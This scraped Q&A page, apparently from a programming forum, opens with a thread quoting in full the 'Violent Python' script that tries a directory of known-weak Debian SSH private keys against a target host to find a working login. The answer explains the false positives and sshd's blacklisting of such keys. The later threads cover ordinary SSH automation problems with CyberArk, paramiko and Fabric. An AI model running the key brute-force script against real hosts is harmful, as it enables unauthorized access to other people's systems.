Weak Debian SSH Keys Python Script Cryptic auth.log - python

So I am reading this awesome book, "Violent Python". And in Chapter 2 there is a Python script that uses private keys to authenticate to a Debian machine or possibly any machine running an SSH server that has users on it without strong private keys. Below is the script:
#! /usr/bin/env python
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + \
'#' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, '$', '#',])
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H ' + \
'<target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-d', dest='passDir', type='string', \
help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+ \
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, \
args=(user, host, fullpath, True))
child = t.start()
if __name__ == '__main__':
main()
The weird thing is when I run this on my internal LAN against a copy of Kali, that is based on Debian, the Python script prints that it has found some vulnerable private keys. I am not sure why it finds several vulnerable keys though for a single user on the OS. When I run the script I specify 1) a host, 2) a username, and 3) a directory full of private keys generated by HD Moore. I had to use the wayback machine to obtain the RSA private keys he generated for the 2048 strength asymmetric algorithm.
Example output:
[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
Anyways, why does the script say it found numerous private keys for my username on my Debian Kali virtual machine (VM)? I tried to log in with the apparently vulnerable private key with the ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 root#192.168.1.11 -o PasswordAuthentication=no command but it did not work. Why does it not work? Is the Python script not actually doing what it says it is doing? X-Ray Glasses anyone? Let me go on...
Then I checked the /var/log/auth.log on my Debian Kali VM and it has some interesting and mysterious entries. The log says, Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))
I read the man page for the ssh-vulnkey on the Debian Kali OS and found out that this program could find vulnerable keys on a computer. I tried running this with the -v verbose option and saw that some keys are apparently vulnerable, though I do not understand what the f key is going on.
Does anyone have an easy to understand explanation about 1) why the script returns results that it successfully found a key(s) and 2) what the blacklisted auth.log message means? Also, 3) if it found a vulnerable key why can I not use said key to log into my computer?
Also, should this be moved to information-security?
Wicked Python script by:
O'Connor, TJ (2012-12-28). Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers. Elsevier Science. Kindle Edition.

As far as I can tell the script just iterates through the directory and tries to use them as keys to connect to the given SSH server. This is done in threads, so the order of your output is not deterministic. Since we check if the global Stop flag is True before starting new threads it may happen that not all files are checked because one earlier thread already finished successfully and set the flag. This is why it reports that it found a key.
Your SSH daemon blacklists weak keys that were generated by a broken version of OpenSSL. This is a good thing and you can read about it here. That is also why you can't login.
ssh automatically falls back to looking for valid keys in your configuration directory. So the connection does actually succeed, but your command line argument is ignored. Try running the command with -vvv and observe the output:
$ ssh user#host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]

Related

CyberArk ITATS004E Authentication failure for User in python script

I'm trying to implement a python script that executes local bash scripts or simple commands on remote CyberArk machines. Here is my code:
if __name__ == '__main__':
for ip in IP_LIST:
bash_cmd = f"ssh -o stricthostkeychecking=no {USER}%{LOCAL_USER}%{ip}#{PROXY} 'bash -s' < {BASH_SCRIPT}"
exit_code = subprocess.call(bash_cmd, shell=True)
print(exit_code)
bash_cmd = f"scp {USER}%{LOCAL_USER}%{ip}#{PROXY}:server_info_PY.txt ."
exit_code = subprocess.call(bash_cmd, shell=True)
print(exit_code)
The main problem is that i get this CyberArk authentication error most of the times, but not always, so it's kind of random and i don't know why:
PSPSD072E Perform session error occurred. Reason: PSPSD033E Error receiving PSM For SSH server
response (Extra information: [289E [4426b00e-cc44-11ec-bca1-005056b74f99] Failed to impersonate as
user <user>. Error: [ITATS004E Authentication failure for User <user>.
In this case the ssh exit code is 255, but if i check sshd service logs on the remote machine, there are no errors. I even tried with the os library to execute bash commands, but I got same result.
I was thinking of multiple ssh sessions hanging after executing this script a lot of times, but on the remote machine i only find the one i'm using.
Could someone explain what is happening or do you have any ideas?
Notes: I don't have any access to the PSM server, that is stored in the variable PROXY
Edit 1: I tried to use Paramiko library to create the ssh connection, but i get an authentication error related to Paramiko and not related to CyberArk. I also tried Fabric library which is based on Paramiko, so it didn't work.
If i try to run the same ssh command manually from my terminal it works and i can see that it first connects to the PROXY and then to the ip of the remote machine. From the script side it looks like he can't even connect to the PROXY because of the CyberArk authentication error.
Edit 2: I logged some informations about all commands running when executing the python script and i found out that the first command which is launched is /bin/sh/ -c plus the ssh string:
/bin/sh -c ssh <user>#<domain>
Could be this the main problem? The prepending of /bin/sh -c? Or it's a normal behaviour when using subprocess library? There is a way to just execute the ssh command without this prepend?
Edit 3: I removed shell=True but got same auhtentication error. So, if i execute manually the ssh command i get no error, but if it is executed from the python script i get the error, but i can't find any contradiction at proccess level using ps aux in both cases.
Since the authentication error is kind of random, I just added a while loop that resets known_hosts file and runs the ssh command for n retries.
succeeded_cmd_exec = False
retries = 5
while not succeeded_cmd_exec:
if retries == 0:
break
bash_cmd = f'ssh-keygen -f "{Configs.KNOWN_HOSTS}" -R "{Configs.PROXY}"'
_, _, exit_code = exec_cmd(bash_cmd)
if exit_code == 0:
radius_password = generate_password(Configs.URI, Configs.PASSWORD)
bash_cmd = f"sshpass -p \"{radius_password}\" ssh -o stricthostkeychecking=no {Configs.USER}%{Configs.LOCAL_USER}%{ip}#{Configs.PROXY} 'ls'"
stdout, stderr, exit_code = exec_cmd(bash_cmd)
if exit_code == 0:
print('Output from SSH command:\n')
print(stdout)
succeeded_cmd_exec = True
else:
retries = retries - 1
print(stdout)
print('SSH command failed, retrying ... ')
print('Sleeping 15 seconds')
time.sleep(15)
else:
print('Reset known hosts files failed, retrying ...')
if retries == 0 and not succeeded_cmd_exec:
print(f'Failed processing IP {ip}')
The exec_cmd function is defined like this:
def exec_cmd(bash_cmd: str):
process = subprocess.Popen(bash_cmd, shell=True, executable='/bin/bash', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
process.wait()
return stdout.decode('utf-8'), stderr.decode('utf-8'), process.returncode

mount via paramiko fails "No such file or directory"

i am using paramiko of python to manipulate access remote linux machine. My command "mount device dir" is failing with " No such file or directory", even though exact the same command succeeds once i use it remotely (connected via ssh, not via paramiko).
I have tried to vary /etc/fstab to some values, again, same situation. Once i type it via ssh - ok, the same command via paramiko - above error message.
Any ideas?
example on command (changed minimally from origin):
import paramiko
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.ssh.connect('192.168.1.1', username='root', password='passwd')
stdin, stdout, stderr = self.ssh.exec_command("/bin/mount /dev/sda1")
gives me an error:
mount /dev/sda1 failed: mount: mounting /dev/sda1 on /media/card failed: No such file or directory
contents from /etc/fstab:
/dev/sda1 /media/card vfat fmask=0000,dmask=0000 0 0
of course, /media/card directory exists. again, i can use above command manually via ssh and it works as expected.
update.
meanwhile i tried fabric library of python (built on paramiko), exactly as described in Python - How do I authenticate SSH connection with Fabric module?
c = fabric.Connection(host = '192.168.1.1', user = "root", connect_kwargs={'password': 'passwd'})
c.run("/bin/mount /dev/sda1")
giving me exactly the same error message as with paramiko directly.
update2. well, as a matter of working around, i mounting drive using direct ssh call, as suggested below in comments. after i do in code whatever necessary, i try to unmount drive using "normal" paramiko call:
self.ssh.exec_command("/bin/umount /dev/sda1")
and it works. so now i am completely lost, mount as above is failing, but unmount is working. this is real strange..
update3. i have tried to extra set LD_LIBRARY_PATH to location of mount's libraries, it needs both libm.so.6 and libc.so.6, both located in /lib like:
self.ssh.exec_command("export LD_LIBRARY_PATH=/lib:/usr/lib && /bin/mount /dev/sda1")
yet no success again.
I was able to get this to work (first draft. Also, I am new to python). Anyway, here is a snip of my code.
The biggest hang-up for me was that it seems as though there is a 4->1 requirement for back slashes in the windows hostname.
Make sure you have a share from the windows PC first. My computer/share name in this case is "COMP_NAME/SHARE_NAME"
The username/password provided are your window creds for accessing the share.
import sys
import paramiko
import constant
### START ###############################################################################
# connect to a GW device
# GW: hostname to connect to
# return: client connection object
def connectToClient(GW):
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(GW, username=constant.GW_USER, password=constant.GW_PASS)
except:
print("Unexpected error:", sys.exc_info()[0])
return None
return client
### END ################################################################################
### START ###############################################################################
# execute a command on the remote device
# client: client connection object to the GW
# cmd: the command to execute
# eg. 'ls -l'
# return: nothing (TODO: maybe return error info)
def exec(client, cmd):
stdin, stdout, stderr = client.exec_command(cmd)
for line in stdout:
print(line.strip('\n'))
#for line in stderr:
# print(line.strip('\n'))
return
### END #################################################################################
# other stuff
# .
# .
# .
##########################################
# Start - upload the self extracting file to the GW
##########################################
#create the mount point
exec(client, "sudo mkdir /mnt/remote_files")
#mount the source directory (4 to 1 for the back slash chars in the UNC address ...)
exec(client, "sudo mount -t cifs -o username=oxxxxxxp,password=cxxxxxxxxx0 \\\\\\\\COMP_NAME\\\\SHARE_NAME /mnt/remote_files")
#copy the script file
exec(client, "cp /mnt/remote_files/selfextract.bsx rtls/scripts/selfextract.bsx")
#unmount the remote source
exec(client, "sudo umount /mnt/remote_files")
##########################################
# Done - upload the self extracting file to the GW
##########################################
# other stuff
# .
# .
# .
Hope this helps someone..
Pat

Paramiko parallel execution to the remote unix hosts

I have a below script which i'm using to execute commands on remote hosts as a cetralized user, but this script is reads the host file and execute the command one by one however it also remains on the session until its not unlinked from the shell, Hence i want to have a parallel execution saying that when running the script it should be able to fork multiple ssh connection and login to the host and exit immeadiaely after command execution.
Please let me know if you guys have any trick or expert inputs. Though i'm using paramiko as these hosta rae legarcy UNIX hosts where i'm unable to use ansible or like utilities due to some restrictions.
import paramiko
with open('/data/CR9432/SunOS.txt', 'r') as f:
for host in f:
remote_host = host.rstrip()
remote_pass = "pass123"
smart_user = "mtrooper"
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(remote_host, username=smart_user, password=remote_pass)
transport = ssh.get_transport()
session = transport.open_session()
session.set_combine_stderr(True)
session.get_pty()
#for testing purposes we want to force sudo to always to ask for password. because of that we use "-k" key
############################################
#session.exec_command("shutdown -y -i5 -g0")
############################################
stdin = session.makefile('wb', -1)
stdout = session.makefile('rb', -1)
#you have to check if you really need to send password here
stdin.write(remote_pass +'\n')
stdin.flush()
print"\n"
print "------------------------------------------------------------------------------"
print "Command Execution Output On Hostname: "
print "------------------------------------------------------------------------------"
for line in stdout.read().splitlines():
print 'host: %s: %s' % (remote_host, line)

Ping server in Python without root permissions

I have a python script, that is working only if my server is available. So before the script is beginning, i want to ping my server or rather checking the availability of the server.
There are already some related SO questions.
E.g
pyping module
response = pyping.ping('Your IP')
if response.ret_code == 0:
print("reachable")
else:
print("unreachable")
ping process in python
response = os.system("ping -c 1 " + hostname)
These answers works well, but only as ROOT user!
When i use this solutions as a common user i get the following error message:
ping: Lacking privilege for raw socket.
I need a solution, that i can do that as a common user, because i run this script in a jenkins job and have not the option to run in as root.
Would trying to perform a HTTP HEAD request, assuming the machine has a http server running, suffice?
from http.client import HTTPConnection # python3
try:
conn = HTTPConnection(host, port, timeout)
conn.request("HEAD", "/")
conn.close()
# server must be up
except:
# server is not up, do other stuff

Python Fabric : abort_on_prompts doesn't work

I'm trying to skip prompt during a SSH connection with Fabric. Like Python Fabric: Skip logins needing passwords . I read in the documention that the option abort_on_prompts should do that. But I can't make it work.
#!/usr/bin/python
from fabric.api import *
env.abort_on_prompts=True
def remote_cmd(server_name):
with settings(hide('output','running','warnings'),
host_string=server_name,
user = 'john',
key_filename = '/home/john/id_rsa',
warn_only=True):
return run('ls /data/')
server_name = 'server01'
ls_result = remote_cmd(server_name)
This code keeps asking me for the server01's password (because it doesn't have the public key) whereas I want to skip it.
Thanks to FunkySayu, I finally found the solution and what was wrong.
I used Python 2.6.6 and Fabric 0.9 on Debian 6.
So I tried it on a Debian 8 with Python 2.7.9 and Fabric 1.10 and it worked fine!
abort_on_prompts exits the script but I wanted to just skip it. Here is the solution I found :
#!/usr/bin/python
from fabric.api import *
env.abort_on_prompts=True
def remote_cmd(server_name):
with settings(hide('output','running','warnings'),
host_string=server_name,
user = 'john',
key_filename = '/home/john/id_rsa',
warn_only=True):
return run('ls /data/')
servers = (('server01',), ('server02',))
for row in servers:
server_name = row[0]
print "Connection to ", server_name
try:
result_ls = remote_cmd(server_name)
print result_ls
except SystemExit:
print server_name," doesn't have the key"
In this example server01 doesn't have public key in authorized_key file. But no harm, the script will continue, print a message, and then run the command on server02.
I hope it's clear :)
me#myserver:~$ ./test_fabric.py
Connection to server01
Fatal error: Needed to prompt for a connection or sudo password (host: server01), but abort-on-prompts was set to True
Aborting.
server01 doesn't have the key
Connection to server02
[we see the results of ls command]
In order to use the python fabric.api env.abort_on_prompts = True and manage the abort event, it's a must to use it together with a try/except SystemExit statement. Below it's a simple example, abort_on_promt_test.py, to test it in your localhost defining a local role for the execution.
from fabric.api import settings, env, run
from termcolor import colored
env.roledefs = {
'local': ['localhost'],
}
def command(cmd):
"""
Run a command in the host/s
:param cmd: bash command to be executed
eg: fab -R local command:"hostname"
eg: fab -R local command:"ls -ltra"
"""
env.abort_on_prompts = True
try:
with settings(warn_only=False):
run(cmd)
except SystemExit:
print colored('===============================================', 'red')
print colored('HOST: ' + env.host_string + ' aborted on prompt', 'red')
print colored('===============================================', 'red')
Here's the output of its test execution:
delivery#delivery-E5450$ fab -f abort_on_promt_test.py -R local command:"hostname"
[localhost] Executing task 'command'
[localhost] run: hostname
Fatal error: Needed to prompt for a connection or sudo password (host: localhost), but abort-on-prompts was set to True
Aborting.
===============================================
HOST: localhost aborted on prompt
===============================================
Done.

Categories